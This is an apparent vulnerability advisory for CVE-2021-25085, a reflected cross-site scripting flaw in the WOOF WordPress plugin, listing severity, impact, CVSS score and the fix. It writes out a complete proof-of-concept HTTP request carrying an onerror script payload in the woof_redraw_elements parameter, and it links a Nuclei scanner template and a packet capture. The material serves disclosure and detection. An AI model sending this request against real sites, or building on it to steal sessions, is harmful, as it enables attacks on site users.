| Title | WOOF WordPress plugin - Cross-Site Scripting |
|---|---|
| Author | Maximus Decimus |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03204 |
| CVE ID | CVE-2021-25085 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress wp-plugin wp xss wpscan pluginus vuln |
The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25085.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25085.pcap
N/AN/A